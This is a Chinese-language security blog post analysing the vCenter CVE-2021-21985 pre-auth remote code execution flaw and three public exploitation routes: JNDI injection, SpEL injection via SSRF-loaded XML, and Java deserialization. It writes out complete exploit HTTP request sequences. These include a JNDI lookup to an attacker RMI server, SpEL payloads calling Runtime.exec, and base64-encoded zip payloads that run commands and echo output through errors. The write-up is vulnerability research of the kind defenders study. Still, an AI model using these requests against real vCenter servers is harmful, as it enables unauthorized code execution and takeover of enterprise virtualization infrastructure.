从Vcenter RCE看漏洞利用

admin 2022年3月4日10:36:15评论249 views字数 12919阅读43分3秒阅读模式
        前阵子vcenter爆出了CVE-2021-21985漏洞,师傅们对这个漏洞提出了多种不同的利用方案,都非常的精彩,因此我搭建好了vcenter的环境,并对师傅们公开的利用方法进行了分析。

环境搭建

        本来打算通过OVA来安装,试了7.0和6.5的版本,由于各种坑试了两天都没搭建成功,最后无奈在windows下进行安装,需要注意的是在SSO设置域名时,如果是在内网搭建的没有域名,改一下本地的hosts文件随便给个域名就可以了,最终选择6.7的版本进行安装。
从Vcenter RCE看漏洞利用
        接下来开启debug模式,参考Vcenter Server CVE-2021-21985 RCE PAYLOAD,直接在 C:ProgramDataVMwarevCenterServercfgvmware-vmonsvcCfgfilesvsphere-ui.json 文件中取消remote debug注释即可。
从Vcenter RCE看漏洞利用
        切换到C:Program FilesVMwarevCenter Serverbin目录下执行service-control --restart vsphere-ui重启vsphere-ui服务。
从Vcenter RCE看漏洞利用

漏洞原理

        漏洞代码在com.vmware.vsan.client.services.ProxygenController#invokeService中实现,根据传入的beanIdOrClassName参数获取bean,methodName获取要调用bean的方法名,再通过body里的methodInput参数获取方法对应的参数,最终通过Invoke反射调用,所以可以调用当前环境中任意bean的任意public方法。
从Vcenter RCE看漏洞利用

漏洞利用

        这个漏洞的主要亮点在于寻找利用的方式,通过上面的分析我们发现通过这个漏洞可以调用任意Bean的任意public方法,所以漏洞利用的思路就在于找到一个Bean,里面存在某个恶意的方法,可以让我们执行命令或者进行文件写入,下面分析下网上已经公开的利用方式。

JNDI

        这种利用方式来自于Vcenter Server CVE-2021-21985 RCE PAYLOAD,利用者找到了一个vsanProviderUtils_setVmodlHelper。本质上是org.springframework.beans.factory.
config.MethodInvokingFactoryBean
从Vcenter RCE看漏洞利用
        在MethodInvokingFactoryBean的父类org.springframework.util.MethodInvoker中的invoke方法中使用了反射调用,也就是如果我们能控制targetObject,preparedMethod和Arguments参数,就可以调用任意类的任意static方法。
从Vcenter RCE看漏洞利用
        看了这种利用方式,我心里有很多疑问,下面我将通过提问的方式来解决我对于这种利用方式的疑惑。
为什么说是任意类的static方法?
        在if语句中会进行判断,如果调用方法不为static则会抛异常。
能否调用private方法?
        org.springframework.util.ReflectionUtils#makeAccessible(java.lang.reflect.Method)中,判断是否为public方法,如果不是则设置访问属性。因此通过这个点可以调用private方法。
从Vcenter RCE看漏洞利用
是否需要获取targetObject对象?
        由于调用的是static方法,因此不用获取targetObject对象,通过调用setTargetObject设置TargetObject类型为null即可。
从Vcenter RCE看漏洞利用
如何设置preparedMethod属性?
        org.springframework.util.MethodInvoker#prepare中,通过targetClass.getMethod(targetMethod, argTypes)为methodObject属性赋值。
从Vcenter RCE看漏洞利用
        targetClass的获取有两种方式,当staticMethod的属性不为空时,可以通过staticMethod获取targetClass属性,当staticMethod属性为空时,则只能通过setTargetClass来为targetClass属性赋值。
从Vcenter RCE看漏洞利用
        分析下这两种方式的利弊,当设置staticMethod属性时,会将staticMethod的最后一个.之前的内容赋值给targetMethod,resolveClassName方法将targetMethod当作类名,通过ClassUtils.forName得到对应的Class对象,也会取出最后一个.后的内容赋值给targetMethod属性,因此不用手工为targetMethod属性赋值。
从Vcenter RCE看漏洞利用
        当通过setTargetClass来获取时,只能通过传入Class对象的方式,显然在当前的漏洞环境中无法传递一个Class对象,因此不能使用setTargetClass的方式为targetClass属性赋值。
        再看看如何给arguments属性赋值,通过setArguments方法传入一个数组为arguments属性赋值。
从Vcenter RCE看漏洞利用
最后通过脑图总结下。
从Vcenter RCE看漏洞利用
为什么可以通过多次请求给Bean不同属性赋值?
        spring中bean默认是单例的,并且bean的生命周期从spring容器启动开始一直到spring容器的销毁,因此在spring运行过程中,每一个bean都只有一个实例。
为什么传入的beanIdOrClassName参数需要加上&?
        由于访问的MethodInvokingFactoryBean是工厂bean,所以bean名称应该以&符号为前缀。
是否有其他的点可以访问到MethodInvokingFactoryBean?
        除了vsanProviderUtils_setVmodlHelper是MethodInvokingFactoryBean实例外,还有其他的Bean也是MethodInvokingFactoryBean的实例,也可以调用到MethodInvoker的invoke方法。
vsanCapabilityUtils_setVsanCapabilityCacheManagervsanFormatUtils_setUserSessionServicevsphereHealthProviderUtils_setVsphereHealthServiceFactoryvsanQueryUtil_setDataServicevsanUtils_setMessageBundlevsanProviderUtils_setVsanServiceFactory
利用过程
  • 设置TargetObject属性

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1Host: test666.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=A5FF3A1A360FE32478CE8079C85ECF94; JSESSIONID=01983551E5225FD5E69BEA4A987D713DUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 22
{"methodInput":[null]}
  • 设置Arguments属性

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1Host: test666.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=A5FF3A1A360FE32478CE8079C85ECF94; JSESSIONID=01983551E5225FD5E69BEA4A987D713DUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 51
{"methodInput":[["rmi://192.168.5.11:9999/test666"]]}
  • 设置staticMethod
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1Host: test666.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=A5FF3A1A360FE32478CE8079C85ECF94; JSESSIONID=01983551E5225FD5E69BEA4A987D713DUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 56
{"methodInput":["javax.naming.InitialContext.doLookup"]}
  • 通过prepare为methodObject赋值
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1Host: test666.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=A5FF3A1A360FE32478CE8079C85ECF94; JSESSIONID=01983551E5225FD5E69BEA4A987D713DUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 18
{"methodInput":[]}
  • invoke反射调用
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1Host: test666.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=A5FF3A1A360FE32478CE8079C85ECF94; JSESSIONID=01983551E5225FD5E69BEA4A987D713DUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 18
{"methodInput":[]}

    SPEL注入

            这种利用方式来自于漏洞的原作者VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析,作者找到了vmodlContext,这个bean是VmodlContextImpl的实现类,通过调用这个类的createContext方法,并传入一个String数组,经过层层调用可以调用到实例化ClassPathXmlApplicationContext的逻辑,并将传入的String数组的内容赋值到ClassPathXmlApplicationContext的构造方法参数中,我们可以在远程服务器上创建一个XML文件,通过传入放置XML服务器的地址,让目标加载远程XML文件并对其中的bean的内容进行SPEL解析,由于这个bean的内容是我们可控的,因此可以执行恶意操作。
            由于之前对于SPEL的利用方式没有什么了解,因此通过下面解决下面几个问题快速入门下SPEL注入。
    什么是SPEL?它可以做什么?
            SPEL是一种类似于OGNL的表达式语言,它支持在运行时查询和操纵对象图。
    Spring中如何使用SPEL?
            SPEL表达式可以与 XML 或基于注解的配置元数据一起使用来定义BeanDefinition,定义表达式的语法为#{expression string},需要注意的是,Class实例通过T(全限定类名)来引用,比如我们想执行命令,可以通过下面的代码来构造。
    <bean id="Helloclass" class="Hello">    <property name="name" value="#{T(java.lang.Runtime).getRuntime().exec('calc')}"></property></bean>
      ClassPathXmlApplicationContext何时执行SPEL?
            首先简单介绍下ClassPathXmlApplicationContext,主要的作用在于从XML中加载定义的Bean,经过测试,当通过new ClassPathXmlApplicationContext("xxx.xml");时会对property中的value属性和bean的Class属性进行SPEL解析。
            org.springframework.beans.factory.support.AbstractBeanFactory#doResolveBeanClass中会获取bean标签中class属性配置的内容并通过evaluateBeanDefinitionString执行SPEL表达式。这里需要注意一下,如果在class属性中传入的SPEL表达式没有返回一个Class对象或String类型的对象,会导致异常并影响后续对property属性的解析。
    从Vcenter RCE看漏洞利用
            org.springframework.beans.factory.support.BeanDefinitionValueResolver#resolveValueIfNecessary中会对传入的属性值做SPEL解析。
    从Vcenter RCE看漏洞利用
    ClassPathXmlApplicationContext为什么会加载远程xml?
            在通过ClassPathXmlApplicationContext加载XML时,会调用org.springframework.beans.factory.xml.XmlBeanDefinitionReader#loadBeanDefinitions(org.springframework.core.io.support.EncodedResource)的getInputStream加载资源,具体调用哪些资源和传入的Resource类型有关系。
    从Vcenter RCE看漏洞利用
            查阅官方文档存在UrlResource,利用Urlresource可以通过URL加载资源,值得注意的是除了http协议加载外,也可以通过ftp,file协议加载,UrlResource的getInputStream方法如下。
    从Vcenter RCE看漏洞利用
            当然通过UrlResource加载远程XML的方式只能在服务器出网的情况下使用,如果服务器不出网,就不能通过这种方式。
    何时对url做处理的?
            根据漏洞作者的描述,传入的url中如果包含.会进行转义,我们看下代码中是怎么处理的,是否有其他的方法绕过限制。VmodlContextImpl#getContextFileNameForPackage
    (java.lang.String)中,会对我们传入的url中的.进行替换,所以我们传入的URL中不能包含.,并且会在请求url后加上/context_v2.xml,通过ClassUtil.getCurrentClassLoader().getRe
    source加载context_v2.xml,但这个加载器不会加载远程的XML,所以我们远程的文件名必须指定为/context.xml。对于IP中.的转换,可以通过IP转数字型IP绕过。
    从Vcenter RCE看漏洞利用
    不出网如何利用
            作者找到了一个存在ssrf漏洞的点,该漏洞位于VsanHttpProvider.py中,通过正则匹配获取请求的url,再通过urlopen获取响应内容,调用__doGetFileWithinZip进行解压。
    从Vcenter RCE看漏洞利用
            在_doGetFileWithinZip中获取解压缩后的文件名,对文件名通过传入的正则.*offline_bundle.*,匹配成功则将文件内容读取并返回。
    从Vcenter RCE看漏洞利用
            所以可以制作一个文件名为offline_bundle.xml的内容并制作成zip包,base编码后通过data协议进行发送。另外虽然利用时会拼接/context.xml但并不会影响data协议获取数据。
    /vsanHealth/vum/driverOfflineBundle/data://text/plain;base64,UEsDBBQABgAIANNz2FJepoT35wAAAJcBAAASAAAAb2ZmbGluZV9idW5kbGUueG1slZCxTsMwEIb3Sn0H6xiaDLFTWFBUtxtiKAsUidV1jtTg2JXP1JEQ707qdICxXnzD/53++1abobfshIGMdxKWvAaGTvvWuE7C6+6huofNej5b7VE5YmPYkYRDjMdGiJQSp2MYo+9B9Zh8+OQ+dIL0AXslMgLzGZteZpuBzD8+3WXktq6X4u1p+5LRyjiKymn8Q5Nppr1br1XMba+owa7IiummKvfnA7UwCjjfkCUw00p4RGu9tooIWP4k3Hzvig91Utwq1/HnLxdNjyXvMF7mouQ4oC4WWlm9KH9gzS5rs6mz5EnZOP0CUEsBAhQAFAAGAAgA03PYUl6mhPfnAAAAlwEAABIAJAAAAAAAAAAgAAAAAAAAAG9mZmxpbmVfYnVuZGxlLnhtbAoAIAAAAAAAAQAYAJ+7ZnHCaNcBrHTYccJo1wHYmeVXwmjXAVBLBQYAAAAAAQABAGQAAAAXAQAAAAA=/context.xml
    从Vcenter RCE看漏洞利用
            通过上面的分析,可以构造如下请求进行利用。
    url:/ui/h5-vsan/rest/proxy/service/vmodlContext/createContext
    post:{"methodInput":[["https://localhost/vsanHealth/vum/driverOfflineBundle/data://text/plain;base64,UEsDBBQABgAIANNz2FJepoT35wAAAJcBAAASAAAAb2ZmbGluZV9idW5kbGUueG1slZCxTsMwEIb3Sn0H6xiaDLFTWFBUtxtiKAsUidV1jtTg2JXP1JEQ707qdICxXnzD/53++1abobfshIGMdxKWvAaGTvvWuE7C6+6huofNej5b7VE5YmPYkYRDjMdGiJQSp2MYo+9B9Zh8+OQ+dIL0AXslMgLzGZteZpuBzD8+3WXktq6X4u1p+5LRyjiKymn8Q5Nppr1br1XMba+owa7IiummKvfnA7UwCjjfkCUw00p4RGu9tooIWP4k3Hzvig91Utwq1/HnLxdNjyXvMF7mouQ4oC4WWlm9KH9gzS5rs6mz5EnZOP0CUEsBAhQAFAAGAAgA03PYUl6mhPfnAAAAlwEAABIAJAAAAAAAAAAgAAAAAAAAAG9mZmxpbmVfYnVuZGxlLnhtbAoAIAAAAAAAAQAYAJ+7ZnHCaNcBrHTYccJo1wHYmeVXwmjXAVBLBQYAAAAAAQABAGQAAAAXAQAAAAA="],true]}
    从Vcenter RCE看漏洞利用
    如何获取回显?
            漏洞作者发现了systemProperties是properties对象的实例,通过调用getProperty方法可以获取配置的内容。
    从Vcenter RCE看漏洞利用
            可以通过下面的方式调用getProperty方法获取propterties对象中的属性。
    /ui/h5-vsan/rest/proxy/service/systemProperties/getProperty
    从Vcenter RCE看漏洞利用
            下面只要我们将命令执行的结果写入到properties属性中即可,但我经过分析其实不用通过这种方式,因为vcenter并没有屏蔽错误回显,只要让目标将执行的结果通过报错显示出来即可,因此构造如下XML。
    <?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="Helloclass" class="#{new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())).lines().collect(T(java.util.stream.Collectors).joining())}">    </bean></beans>
            需要注意在请求的最后需要随便加一些字符,否则在拼接/context.XML后会报错。
    url:/ui/h5-vsan/rest/proxy/service/vmodlContext/createContext
    post:
    {"methodInput":[["https://localhost/vsanHealth/vum/driverOfflineBundle/data://text/plain;base64,UEsDBBQABgAIAKhR2VL28uJjKgEAABwCAAASAAAAb2ZmbGluZV9idW5kbGUueG1slZE/a8MwEMX3QL6DUIfYQ85Ju5QQJ9BCaSFd8ge6qvLFUSpLQSdHhtLvXkc2JR2jRYL3fqe7e/NlU2l2RkfKmpxPYcIZGmkLZcqc77Yv40e+XAwH808UhlhrNpTzg/enWZaFEIBOrrXunagwWPcF1pUZyQNWIosIHw5YdyI7a0j948NDRO4nk2n28b7aRHSsDHlhJF7RpGZd3ZWVwsdub2iD3eDNupnGsX9oqODtAi4zxCUwVeT8FbW2UgsizuKV87tvg4EdxVmAsvBU7/fosFijKNAl19KbOdV+4x2Kqle3ScS0MCWsa+NVhSmU6Pt3kgI2KJNROFhRqVHUrqokaZqCVgapdUqrNUqf9DVrrzRQ/AyeO8k6SuFolWlza9Gfv+liYJesu+QWv1BLAQIUABQABgAIAKhR2VL28uJjKgEAABwCAAASACQAAAAAAAAAIAAAAAAAAABvZmZsaW5lX2J1bmRsZS54bWwKACAAAAAAAAEAGABFIh+oZ2nXAX3PbahnadcB2JnlV8Jo1wFQSwUGAAAAAAEAAQBkAAAAWgEAAAAA/xxxsasasdasd"],true]}
    从Vcenter RCE看漏洞利用

    反序列化

            这种攻击思路来自于A Quick Look at CVE-2021–21985 VCenter Pre-Auth RCE,这种攻击思路是在iswin师傅找到的MethodInvoker通过反射调用任意类的静态方法的基础上实现的,在vcenter中存在org.apache.catalina.tribes.io.XByteBuffer#deserialize(byte[])方法,该方法接收我们传入的字节数组并进行反序列化操作。
    从Vcenter RCE看漏洞利用
            所以我们只要能调用到deserialize方法并传入字节数组就可以了,那么下一个技术难点在于如何传递一个字节数组。首先我们通过setArguments传入数据时,经过com.vmware.vsan.client.services.ProxygenSerializer#deserializeMethodInput时会对类型进行转换,无论传入什么类型,都会转换为Object数组类型。
    从Vcenter RCE看漏洞利用
            在调用org.springframework.util.MethodInvoker#prepare方法时,由于我们传入的是Object数组而调用XByteBuffer#deserialize(byte[])需要一个byte数组,所以这里调用getMethod会导致异常,进而调用到findMatchingMethod方法。
    从Vcenter RCE看漏洞利用
    org.springframework.beans.support.ArgumentConvertingMethodInvoker#doFindMatchingMethod中获取请求方法的参数类型,并调用TypeConverter.convertIfNecessary,通过这个函数将我们传入的Object数组转换为byte数组,这样就解决了传入byte数组的问题。
    从Vcenter RCE看漏洞利用
            下面看下我们传入什么样的数据到convertIfNecessary才可以转成我们需要的byte数组,跟到convertIfNecessary代码中进行分析,首先在TypeConverterSupport中,会调用TypeConverterSupport。doConvert,在doConvert中,会将请求委托给TypeConverterDelegate实现具体的转换逻辑。
    从Vcenter RCE看漏洞利用
    从Vcenter RCE看漏洞利用
            由于我们传入的是Object数组,所以会进入到convertToTypedArray方法。
    从Vcenter RCE看漏洞利用
            在convertToTypedArray将遍历Object数组的每个值,并转换为byte类型,存放到byte数组中。
    从Vcenter RCE看漏洞利用
            所以只要传入对象转换的字节数组对应的Int值,就可以通过转换得到对应的字节数组。
    从Vcenter RCE看漏洞利用
            下面我生成一个URLDNS利用链的对象,并得到字节数组的内容。
    从Vcenter RCE看漏洞利用
            将该数组的内容通过setArguements进行传递。
    从Vcenter RCE看漏洞利用
            再通过TypeConverter转换为byte数组
    从Vcenter RCE看漏洞利用
            最终将序列化后的内容传递给org.apache.catalina.tribes.io.XByteBuffer#deserialize(byte[]),完成反序列化操作。
    从Vcenter RCE看漏洞利用
    从Vcenter RCE看漏洞利用

    总结

            这个漏洞的亮点还是挺多的,无论是通过MethodInvoker将调用任意bean扩展到调用任意静态方法,还是通过ssrf加载请求获取加载的xml,还有通过触发异常对数据类型转换,都体现出了前辈们漏洞研究上的功底,再次感谢师傅们的分享,最后感谢瓜哥帮我分析反序列化数据传递的问题。

    参考

    A Quick Look at CVE-2021–21985 VCenter Pre-Auth RCE
    VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析
    Vcenter Server CVE-2021-21985 RCE PAYLOAD

    原文始发于微信公众号(雁行安全团队):从Vcenter RCE看漏洞利用

    • 左青龙
    • 微信扫一扫
    • weinxin
    • 右白虎
    • 微信扫一扫
    • weinxin
    admin
    • 本文由 发表于 2022年3月4日10:36:15
    • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                     从Vcenter RCE看漏洞利用https://cn-sec.com/archives/815321.html

    发表评论

    匿名网友 填写信息